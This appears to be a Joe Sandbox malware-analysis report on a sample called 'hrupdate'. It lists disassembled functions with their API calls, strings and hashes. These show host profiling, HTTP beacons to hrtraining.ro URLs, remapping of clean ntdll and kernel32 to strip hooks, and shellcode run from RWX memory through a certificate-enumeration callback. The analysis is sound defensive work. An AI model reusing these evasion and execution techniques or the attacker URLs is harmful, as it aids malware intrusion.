Associated: 00000000.00000002.3896684082.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_hrupdate.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$memcpy$inet_addrmemsetrecvstrstr$closesocketconnectgethostbyaddrgethostbynamehtonsmemchrreallocsendsocketstrncpy
String ID: $$GET %s HTTP/1.0$Host: %s$http://$https://
API String ID: 241144766-2968714747
Opcode ID: 71425c9cb8b6a99e54fa0f3d1d1d44ca281a2c1c5873eeaf5546bb1c3cb9a130
Instruction ID: 2b0779c1f403106f20fd427f20977f3e54091cb76cb5b2e21c639a03f151754b
Opcode Fuzzy Hash: 71425c9cb8b6a99e54fa0f3d1d1d44ca281a2c1c5873eeaf5546bb1c3cb9a130
Instruction Fuzzy Hash: 1D5238319001598FDB24DF68CCA4BEDBB77EF45314F1482A9E40DAB281DB329A85CF60

Function 00671480 Relevance: 52.8, APIs: 25, Strings: 5, Instructions: 269
windowstringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(00000101,?), ref: 006714D0
GetUserNameW.ADVAPI32(?,?), ref: 006714EE
wcstombs_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000101,?,00000101), ref: 00671513
memset.VCRUNTIME140 ref: 0067155E
strncat.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000400), ref: 00671579

Part of subcall function 00672180: socket.WS2_32(00000002,00000001,00000006), ref: 00672259
Part of subcall function 00672180: inet_addr.WS2_32(00000000), ref: 00672273
Part of subcall function 00672180: gethostbyname.WS2_32(00000000), ref: 0067227B
Part of subcall function 00672180: htons.WS2_32(00000050), ref: 006722BB
Part of subcall function 00672180: connect.WS2_32(00000000,?,00000010), ref: 006722D2

WSACleanup.WS2_32 ref: 006715A7
LoadStringW.USER32(?,00000067,SibcorUpdate,00000064), ref: 006715BD
LoadStringW.USER32(?,0000006D,SIBCORUPDATE,00000064), ref: 006715C9
LoadIconW.USER32(?,0000006B), ref: 0067160C
LoadCursorW.USER32(00000000,00007F00), ref: 0067161B
LoadIconW.USER32(?,0000006C), ref: 0067164D
RegisterClassExW.USER32(00000030), ref: 0067165C
CreateWindowExW.USER32(00000000,SIBCORUPDATE,SibcorUpdate,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0067168E
UpdateWindow.USER32(00000000), ref: 0067169F
LoadIconW.USER32(?,0000006B), ref: 006716A8
lstrcpyW.KERNEL32(?,HR Trainings), ref: 006716F2
Shell_NotifyIconW.SHELL32(00000000,000003BC), ref: 00671701
LoadAcceleratorsW.USER32(?,0000006D), ref: 0067170A
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00671819
DialogBoxParamW.USER32(?,00000067,?,00671A20,00000000), ref: 00671839
TranslateAcceleratorW.USER32(?,00000000,?), ref: 00671859
TranslateMessage.USER32(?), ref: 0067186A
DispatchMessageW.USER32(?), ref: 00671877
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0067188A
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 006718A6

Strings

,Dg, xrefs: 00671722
SIBCORUPDATE, xrefs: 006715C1, 00671643, 00671681
SibcorUpdate, xrefs: 006715B5, 0067167C
HR Trainings, xrefs: 006716BE
http://www.hrtraining.ro/trakingu/, xrefs: 00671519

Memory Dump Source

Source File: 00000000.00000002.3896617863.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.3896582194.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896648026.0000000000674000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896669818.0000000000676000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896684082.0000000000677000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896684082.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_hrupdate.jbxd

Similarity

API ID: Load$IconMessage$StringTranslateWindow$AcceleratorAcceleratorsClassCleanupCreateCursorDialogDispatchNameNotifyParamRegisterShell_StartupUpdateUserconnectgethostbynamehtonsinet_addrlstrcpymemsetsocketstrncatterminatewcstombs_s
String ID: ,Dg$HR Trainings$SIBCORUPDATE$SibcorUpdate$http://www.hrtraining.ro/trakingu/
API String ID: 821071236-3868026344
Opcode ID: 1d1096f865704529330a5073a26a8581e8bfaeb79caa34753a15204c31ec98fd
Instruction ID: 37caad4d6a82c5c6d97e22f55130243aa366924fdf7f14d7b9239964ecd5f0be
Opcode Fuzzy Hash: 1d1096f865704529330a5073a26a8581e8bfaeb79caa34753a15204c31ec98fd
Instruction Fuzzy Hash: EDC16B70D403299BEB24DF64DC49BEABBB9EB05705F0041DAE50DA6280DBB56BC4CF91

Function 0469CCA3 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 125
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0469CF5F: _malloc.LIBCMT ref: 0469CF65
Part of subcall function 0469CF5F: _malloc.LIBCMT ref: 0469CF75

GetUserNameA.ADVAPI32(?,?), ref: 0469CD08
GetComputerNameA.KERNEL32(?,?), ref: 0469CD18
GetModuleFileNameA.KERNEL32(00000000,?,00000100,?,?,?,?,?,?,?,?,?,00000000), ref: 0469CD2C
_strrchr.LIBCMT ref: 0469CD3B
GetVersionExA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 0469CD56
__snprintf.LIBCMT ref: 0469CDCB

Strings

%s%s%s, xrefs: 0469CDC2

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: Name$_malloc$ComputerFileModuleUserVersion__snprintf_strrchr
String ID: %s%s%s
API String ID: 1877169212-1891519693
Opcode ID: 3a3d78d8001dbbfa8abe69f64fcd8b8271ef147f6d1a048af0ea9f00236c27d4
Instruction ID: dab70b2f5b5404c98bfb3054e99627fe19bed293c19c323e5bdb760d6bced202
Opcode Fuzzy Hash: 3a3d78d8001dbbfa8abe69f64fcd8b8271ef147f6d1a048af0ea9f00236c27d4
Instruction Fuzzy Hash: FE419D71D00205AEEF01AFA5DD49DBEBFF8EF45314F10446AE504A6251FBB5AE00DB64

Function 046A5173 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextA.ADVAPI32(00000000,00000000,Microsoft Base Cryptographic Provider v1.0,00000001,F0000020,00000080,00000000,?,?,046A51E9,?,0469CE33,?,0469CE33,?), ref: 046A5196
CryptAcquireContextA.ADVAPI32(00000000,00000000,Microsoft Base Cryptographic Provider v1.0,00000001,F0000028,?,?,046A51E9,?,0469CE33,?,0469CE33,?), ref: 046A51A9
CryptGenRandom.ADVAPI32(00000000,0469CE33,?,?,?,046A51E9,?,0469CE33,?,0469CE33,?), ref: 046A51BD
CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,046A51E9,?,0469CE33,?,0469CE33,?), ref: 046A51CD

Strings

Microsoft Base Cryptographic Provider v1.0, xrefs: 046A518A, 046A518F, 046A51A3

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: Crypt$Context$Acquire$RandomRelease
String ID: Microsoft Base Cryptographic Provider v1.0
API String ID: 685801729-291530887
Opcode ID: 50a0065e9d0177d8c44a6a369e3154ee005084b81ce946796e92da3b72108153
Instruction ID: fac065636faa7ece3dd7c190ff4d318e33f61bf78f942d64cd8ca43ecfdec53b
Opcode Fuzzy Hash: 50a0065e9d0177d8c44a6a369e3154ee005084b81ce946796e92da3b72108153
Instruction Fuzzy Hash: A4F08136A01224F7DF108A51DD09FEE7A6CDB45764F104011FA02A2140E671AE109EA4

Function 046AE81B Relevance: 1.3, Strings: 1, Instructions: 15COMMON

Download Yara Rule

Strings

p=v, xrefs: 046AE7D5

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID:
String ID: p=v
API String ID: 0-1262632170
Opcode ID: 554588e925b44466993c2a017f1faf32c77b4d25bc138d1276de5794f8837f1a
Instruction ID: a4334244c21ed68580b38bb53d338428586991b53007cbdd22ac56e92c25171f
Opcode Fuzzy Hash: 554588e925b44466993c2a017f1faf32c77b4d25bc138d1276de5794f8837f1a
Instruction Fuzzy Hash: DCD022313C8D089AFB40FE00FC801797399E7E0A10F800E9DEA0102100BA27FC31CE81

Function 00672180 Relevance: 42.3, APIs: 20, Strings: 4, Instructions: 344
networkstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00671CA0: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,?,?,A92820B5,?,00000000), ref: 00671DC4

socket.WS2_32(00000002,00000001,00000006), ref: 00672259
inet_addr.WS2_32(00000000), ref: 00672273
gethostbyname.WS2_32(00000000), ref: 0067227B
inet_addr.WS2_32(00000000), ref: 00672283
gethostbyaddr.WS2_32(?,00000004,00000002), ref: 00672296
htons.WS2_32(00000050), ref: 006722BB
connect.WS2_32(00000000,?,00000010), ref: 006722D2
send.WS2_32(00000000,?,?,00000000), ref: 00672414
memset.VCRUNTIME140 ref: 00672429
recv.WS2_32(?,?,00000200,00000000), ref: 00672445
realloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000), ref: 00672465
memcpy.VCRUNTIME140(?,?,00000000), ref: 0067247D
memset.VCRUNTIME140 ref: 00672495
recv.WS2_32(?,?,00000200,00000000), ref: 006724AC
strstr.VCRUNTIME140 ref: 006724C7
strstr.VCRUNTIME140 ref: 006724DA
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 00672508
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000,-00000004), ref: 00672530
closesocket.WS2_32(?), ref: 00672563
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00672595
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 006725D1
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00672628

Strings

, xrefs: 006724D4
, xrefs: 006724C1
GET %s HTTP/1.0, xrefs: 00672307
Host: %s, xrefs: 00672376

Memory Dump Source

Source File: 00000000.00000002.3896617863.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.3896582194.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896648026.0000000000674000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896669818.0000000000676000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896684082.0000000000677000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896684082.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_hrupdate.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$inet_addrmemcpymemsetrecvstrstr$closesocketconnectgethostbyaddrgethostbynamehtonsreallocsendsocketstrncpy
String ID: $$GET %s HTTP/1.0$Host: %s
API String ID: 1879041676-1199678302
Opcode ID: 4c0fa364c9beadfdbc0fddcc2ada1d4689ade680e15c0e3575c30b6447cbc18b
Instruction ID: 7b6e03c73bb8f30e80a3e91a320549e7357da60f9cc9d14a066ccc15265e073c
Opcode Fuzzy Hash: 4c0fa364c9beadfdbc0fddcc2ada1d4689ade680e15c0e3575c30b6447cbc18b
Instruction Fuzzy Hash: 65D1D2719002199FEB24DF24CC59BEDB777AF95304F0482D8E40DAB282DB329A95CF64

Function 006710A0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 175
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00672DCF: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,006727F7,00000000,00000000,?,?,?,00000000), ref: 00672DE4

_Cnd_init.MSVCP140(?,00000000), ref: 0067110F
?_Throw_C_error@std@@YAXH@Z.MSVCP140(00000000), ref: 00671123
_Mtx_init.MSVCP140(?,00000001), ref: 00671144
?_Throw_C_error@std@@YAXH@Z.MSVCP140(00000000), ref: 00671152
_Mtx_lock.MSVCP140(?), ref: 00671172
?_Throw_C_error@std@@YAXH@Z.MSVCP140(00000000), ref: 00671180
_Thrd_start.MSVCP140(?,Function_00001090,00674424), ref: 006711AA
?_Throw_C_error@std@@YAXH@Z.MSVCP140(00000001), ref: 006711C3
_Cnd_wait.MSVCP140(?,?), ref: 006711D6
?_Throw_C_error@std@@YAXH@Z.MSVCP140(00000000), ref: 006711E4
_Mtx_unlock.MSVCP140(?), ref: 00671212
?_Throw_C_error@std@@YAXH@Z.MSVCP140(00000000), ref: 00671220
_Mtx_destroy.MSVCP140(?), ref: 00671228
_Cnd_destroy.MSVCP140(?), ref: 00671234
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0067124A
?_Throw_Cpp_error@std@@YAXH@Z.MSVCP140(00000001), ref: 00671270
_Thrd_detach.MSVCP140(?,?), ref: 0067127F
?_Throw_C_error@std@@YAXH@Z.MSVCP140(00000000), ref: 0067128D

Strings

$Dg, xrefs: 00671188

Memory Dump Source

Source File: 00000000.00000002.3896617863.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.3896582194.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896648026.0000000000674000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896669818.0000000000676000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896684082.0000000000677000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896684082.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_hrupdate.jbxd

Similarity

API ID: Throw_$C_error@std@@$Cnd_destroyCnd_initCnd_waitCpp_error@std@@Mtx_destroyMtx_initMtx_lockMtx_unlockThrd_detachThrd_startmallocterminate
String ID: $Dg
API String ID: 3376608752-2277919188
Opcode ID: f7b93b563e9b5c4baf9f8613cb922d84925923e5c8017ac90e9fdcdbfd38379d
Instruction ID: ba8a7c56d54c310cee94f87129e9d727f13bbd6da6f7c25c21f17cd9331e00f9
Opcode Fuzzy Hash: f7b93b563e9b5c4baf9f8613cb922d84925923e5c8017ac90e9fdcdbfd38379d
Instruction Fuzzy Hash: 626160B0D00248AFDF10CBA8DD497DEBBF5BF05304F14412AE909A6351EB75AA54CBA2

Function 00672BC0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 102
memorynetworkencryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00671B30: GetCurrentProcess.KERNEL32 ref: 00671B47
Part of subcall function 00671B30: GetModuleHandleA.KERNEL32 ref: 00671B62
Part of subcall function 00671B30: K32GetModuleInformation.KERNEL32(00000000,00000000,?,0000000C), ref: 00671B73
Part of subcall function 00671B30: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00671B8F
Part of subcall function 00671B30: CreateFileMappingW.KERNELBASE(00000000,00000000,01000002,00000000,00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00671BA6
Part of subcall function 00671B30: MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00671BB8
Part of subcall function 00671B30: VirtualProtect.KERNEL32(?,?,00000040,?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00671C2C
Part of subcall function 00671B30: memcpy.VCRUNTIME140(?,?,?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00671C43

Part of subcall function 00671B30: VirtualProtect.KERNEL32(?,?,?,?), ref: 00671C5C
Part of subcall function 00671B30: CloseHandle.KERNEL32(?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00671C76
Part of subcall function 00671B30: CloseHandle.KERNEL32(?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00671C7B
Part of subcall function 00671B30: CloseHandle.KERNEL32(?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00671C80
Part of subcall function 00671B30: FreeLibrary.KERNEL32(?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00671C85

GetConsoleWindow.KERNEL32(00000000), ref: 00672CCA
ShowWindow.USER32(00000000), ref: 00672CD1
WSAStartup.WS2_32 ref: 00672D32

Part of subcall function 00672180: socket.WS2_32(00000002,00000001,00000006), ref: 00672259
Part of subcall function 00672180: inet_addr.WS2_32(00000000), ref: 00672273
Part of subcall function 00672180: gethostbyname.WS2_32(00000000), ref: 0067227B
Part of subcall function 00672180: htons.WS2_32(00000050), ref: 006722BB
Part of subcall function 00672180: connect.WS2_32(00000000,?,00000010), ref: 006722D2

VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 00672D60
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 00672D6D
CertEnumSystemStore.CRYPT32(00010000,00000000,00000000,?), ref: 00672D83
FlsAlloc.KERNEL32(?), ref: 00672D8A
FlsSetValue.KERNEL32(00000000,?), ref: 00672D9E
WSACleanup.WS2_32 ref: 00672DA4

Strings

kernel32.dll, xrefs: 00672C57
c:\windows\system32\kernel32.dll, xrefs: 00672C7B
ntdll.dll, xrefs: 00672BE9
dummy, xrefs: 00672D94
c:\windows\system32\ntdll.dll, xrefs: 00672C0F
http://www.hrtraining.ro/trainingcheck_v5498, xrefs: 00672CD7

Memory Dump Source

Source File: 00000000.00000002.3896617863.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.3896582194.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896648026.0000000000674000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896669818.0000000000676000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896684082.0000000000677000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896684082.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_hrupdate.jbxd

Similarity

API ID: Handle$CloseFileVirtual$AllocCreateModuleProtectWindowmemcpy$CertCleanupConsoleCurrentEnumFreeInformationLibraryMappingProcessShowStartupStoreSystemValueViewconnectgethostbynamehtonsinet_addrsocket
String ID: c:\windows\system32\kernel32.dll$c:\windows\system32\ntdll.dll$dummy$http://www.hrtraining.ro/trainingcheck_v5498$kernel32.dll$ntdll.dll
API String ID: 3600704002-5958019
Opcode ID: 4992d9913989be341c631ddc213340972d96a96504dd33e1cc5cd2984d2d9d8b
Instruction ID: 5a1791fac195d9107dfb8608a8d9cc81be09367076f73cbaf7bd049164928eb1
Opcode Fuzzy Hash: 4992d9913989be341c631ddc213340972d96a96504dd33e1cc5cd2984d2d9d8b
Instruction Fuzzy Hash: 41415E308487858AD725DB65DC49BEABBE5FBA9314F00660DE98C521A2EF7062C4CB52

Function 00671B30 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 131
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00671B47
GetModuleHandleA.KERNEL32 ref: 00671B62
K32GetModuleInformation.KERNEL32(00000000,00000000,?,0000000C), ref: 00671B73
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00671B8F
CreateFileMappingW.KERNELBASE(00000000,00000000,01000002,00000000,00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00671BA6
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00671BB8
VirtualProtect.KERNEL32(?,?,00000040,?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00671C2C
memcpy.VCRUNTIME140(?,?,?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00671C43
VirtualProtect.KERNEL32(?,?,?,?), ref: 00671C5C
CloseHandle.KERNEL32(?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00671C76
CloseHandle.KERNEL32(?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00671C7B
CloseHandle.KERNEL32(?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00671C80
FreeLibrary.KERNEL32(?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00671C85

Strings

.text, xrefs: 00671BE3

Memory Dump Source

Source File: 00000000.00000002.3896617863.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.3896582194.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896648026.0000000000674000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896669818.0000000000676000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896684082.0000000000677000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896684082.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_hrupdate.jbxd

Similarity

API ID: Handle$CloseFile$CreateModuleProtectVirtual$CurrentFreeInformationLibraryMappingProcessViewmemcpy
String ID: .text
API String ID: 3896868005-2719751843
Opcode ID: f37a4f64eb3392ca5b3bc51494ad612fb8df065b0663cd4dfb7bc6ea707f9cc5
Instruction ID: 6331c957f5f5ad32d97f4e35b40e1683a3828d116040fa733f4f484c68d5b7c6
Opcode Fuzzy Hash: f37a4f64eb3392ca5b3bc51494ad612fb8df065b0663cd4dfb7bc6ea707f9cc5
Instruction Fuzzy Hash: 0541A271940208ABDB15CFA4DC89FAEBBB6FF09700F104055F608BB291DB71A950CBA4

Function 0469709E Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 186
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 046970DF
__snprintf.LIBCMT ref: 04697106

Part of subcall function 0469E3F2: _memset.LIBCMT ref: 0469E413

__snprintf.LIBCMT ref: 04697182
__snprintf.LIBCMT ref: 04697199
HttpOpenRequestA.WININET(00000000,?,00000000,00000000,*/*,046DA668), ref: 046971C8
HttpSendRequestA.WININET(00000000,?,?,046972C1,?), ref: 046971F1
InternetCloseHandle.WININET(00000000), ref: 0469720E

Part of subcall function 0469A9C6: _memset.LIBCMT ref: 0469A9D6
Part of subcall function 0469A9C6: _memset.LIBCMT ref: 0469A9E2
Part of subcall function 0469A9C6: __snprintf.LIBCMT ref: 0469AA33
Part of subcall function 0469A9C6: _memset.LIBCMT ref: 0469AA6A
Part of subcall function 0469A9C6: _memset.LIBCMT ref: 0469AA75

Part of subcall function 0469AA90: _memset.LIBCMT ref: 0469AAA0
Part of subcall function 0469AA90: _memset.LIBCMT ref: 0469AAAC
Part of subcall function 0469AA90: __snprintf.LIBCMT ref: 0469AB08
Part of subcall function 0469AA90: _memset.LIBCMT ref: 0469AB26
Part of subcall function 0469AA90: _memset.LIBCMT ref: 0469AB31

InternetQueryDataAvailable.WININET(00000000,0469483D,00000000,00000000), ref: 0469721F
InternetReadFile.WININET(00000000,?,00001000,?), ref: 0469724D
InternetCloseHandle.WININET(00000000), ref: 0469726D
InternetCloseHandle.WININET(00000000), ref: 0469728E

Strings

%s%s, xrefs: 04697192
*/*, xrefs: 046970C6, 046971AF

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: _memset$Internet__snprintf$CloseHandle$HttpRequest$AvailableDataFileOpenQueryReadSend
String ID: %s%s$*/*
API String ID: 2172916581-856325523
Opcode ID: 36d1c1b4402e25936ccf7b17038093c7f66753e6c278bad338ed6dfd72cddfbb
Instruction ID: b663fe8a0c749480132e8f0012ada2e3cd94ea4b44023b9542324d958a943da8
Opcode Fuzzy Hash: 36d1c1b4402e25936ccf7b17038093c7f66753e6c278bad338ed6dfd72cddfbb
Instruction Fuzzy Hash: 29519972A00209FFEF11AFA4DC84DFE7BBCEB05315F04446AF615A2250FA75AE548B64

Function 006712C0 Relevance: 18.2, APIs: 12, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_Query_perf_frequency.MSVCP140 ref: 006712F3
_Query_perf_counter.MSVCP140 ref: 00671305
__alldvrm.LIBCMT ref: 00671310
_Query_perf_frequency.MSVCP140(?,00000000), ref: 00671322
_Query_perf_counter.MSVCP140(?,00000000), ref: 00671330
__alldvrm.LIBCMT ref: 00671341
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00671399
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 006713C0
_Xtime_get_ticks.MSVCP140(00000000,?,00000000,00000000,00000000,00000000,3B9ACA00,00000000,00000000,?,?,00000000,?,00000000,3B9ACA00,00000000), ref: 006713EA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0067140C
_Thrd_sleep.MSVCP140(00000000,00000000,?,3B9ACA00,00000000,00000000,?,00000064,00000000,?,00000000,00000000,00000000,00000000,3B9ACA00,00000000), ref: 00671434
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 0067146D

Memory Dump Source

Source File: 00000000.00000002.3896617863.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.3896582194.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896648026.0000000000674000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896669818.0000000000676000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896684082.0000000000677000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896684082.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_hrupdate.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$Query_perf_counterQuery_perf_frequency__alldvrm$Thrd_sleepXbad_function_call@std@@Xtime_get_ticks
String ID:
API String ID: 1496849827-0
Opcode ID: 0aea90061385e45bd9c66139f29865e6c0f8753463b7fa915279b7e984bf9d84
Instruction ID: 1a96eb859dd596808d5df60041a984aba08098c930b0da8b2415a4cf6349e263
Opcode Fuzzy Hash: 0aea90061385e45bd9c66139f29865e6c0f8753463b7fa915279b7e984bf9d84
Instruction Fuzzy Hash: 52519AB2908350AFD750DF288C45B2BBBFAEFC9754F118A1DF68897221D731D9408B96

Function 046944E1 Relevance: 13.9, APIs: 9, Instructions: 415
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0469CF5F: _malloc.LIBCMT ref: 0469CF65
Part of subcall function 0469CF5F: _malloc.LIBCMT ref: 0469CF75

Part of subcall function 046A1BB6: __time64.LIBCMT ref: 046A1BC8
Part of subcall function 046A1BB6: _malloc.LIBCMT ref: 046A1C0F
Part of subcall function 046A1BB6: _memset.LIBCMT ref: 046A1C1C
Part of subcall function 046A1BB6: _strtok.LIBCMT ref: 046A1C36

Part of subcall function 0469A70C: __time64.LIBCMT ref: 0469A71D

Part of subcall function 046A4B98: _malloc.LIBCMT ref: 046A4BBF
Part of subcall function 046A4B98: _memset.LIBCMT ref: 046A4BED

Part of subcall function 046A4B98: _realloc.LIBCMT ref: 046A4BCE

_malloc.LIBCMT ref: 04694661
GetLocalTime.KERNEL32(?), ref: 046946BF
GetLocalTime.KERNEL32(?), ref: 04694758
__snprintf.LIBCMT ref: 046947AC
__snprintf.LIBCMT ref: 046947BF
__snprintf.LIBCMT ref: 046947E0
__time64.LIBCMT ref: 04694884
__time64.LIBCMT ref: 04694939
GetLocalTime.KERNEL32(?), ref: 04694709

Part of subcall function 046A3F47: Sleep.KERNEL32(000003E8,00000080,00000000,00000000,?,?,046949A6), ref: 046A3FAE
Part of subcall function 046A3F47: RtlExitUserThread.NTDLL(00000000,00000080,00000000,00000000,?,?,046949A6), ref: 046A3FE7
Part of subcall function 046A3F47: WaitForSingleObject.KERNEL32(00000000,?,?,046949A6), ref: 046A4003

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

